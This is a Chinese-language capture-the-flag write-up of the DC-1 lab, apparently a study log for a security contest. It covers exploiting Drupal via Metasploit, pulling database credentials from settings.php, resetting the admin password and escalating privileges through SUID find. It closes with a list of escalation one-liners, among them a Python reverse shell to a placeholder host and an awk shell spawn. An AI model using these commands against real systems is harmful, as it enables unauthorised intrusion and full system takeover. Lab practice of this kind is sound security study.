DC-1靶场学习

马上要去参加ciscn的isw了，学习一下基本方法
先同网下扫描，扫出ip是192.168.16.128，同时开启了80端口和22端口

80端口是web服务

分析是Drupal CMS

随后用msf看有没有漏洞
输入msfconsole进入后搜索Drupal的漏洞

输入options查看要输入些什么东西，输入RHOSTS发现无法执行

于是use 1

发现这个可以执行命令，输入shell设置模拟终端，输入ls看看

最后看当前目录有flag1

这里flag1提示我们找cms的配置文件
根据搜索，配置文件在sites/default/settings.php

得到flag2
这里提示爆破不能解决问题，因此要用别的方法

发现这里有mysql账号密码，尝试登录
发现反弹shell和基础shell都不能显示mysql界面
网上查了一下mysql需要建立起交互式shell
输入python -c 'import pty; pty.spawn("/bin/bash")'可以调出来

先use drupaldb
再show tables;

发现users和users_roles，先看users

发现有admin账号，尝试把密码重置了，后来搜索得到这里有更换密码的方法

根据这个方法得到了新密码

把密码改了

这样就成功登陆进去了

dashboard里看到有flag3


似乎是要找密码
查看/etc/passwd发现flag4，他的home地址在/home/flag4

找到flag4

提示说在root文件夹里有flag，那么涉及到提权了
先看哪些可执行文件有高权限
find / -perm -u=s -type f 2>/dev/null
发现有find，好玩了

SUID 特殊权限仅适用于可执行文件，所具有的功能是，只要用户对设有 SUID 的文件有执行权限，那么当用户执行此文件时，会以文件所有者的身份去执行此文件，一旦文件执行结束，身份的切换也随之消失。
在这里，find文件所有者为root，那么我们使用具有suid权限的find命令时，是以root用户的权限去执行的
同时find可以通过-exec执行命令
这里成功执行了whoami

这样就可以使用find提权打开root目录拿到最终的flag

总结一些提权的内容
find：find xxx -exec whoami \;
python：python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
sudo：cat /etc/sudoers
sudo -l
awk：/usr/bin/awk 'BEGIN {system("/bin/sh")}'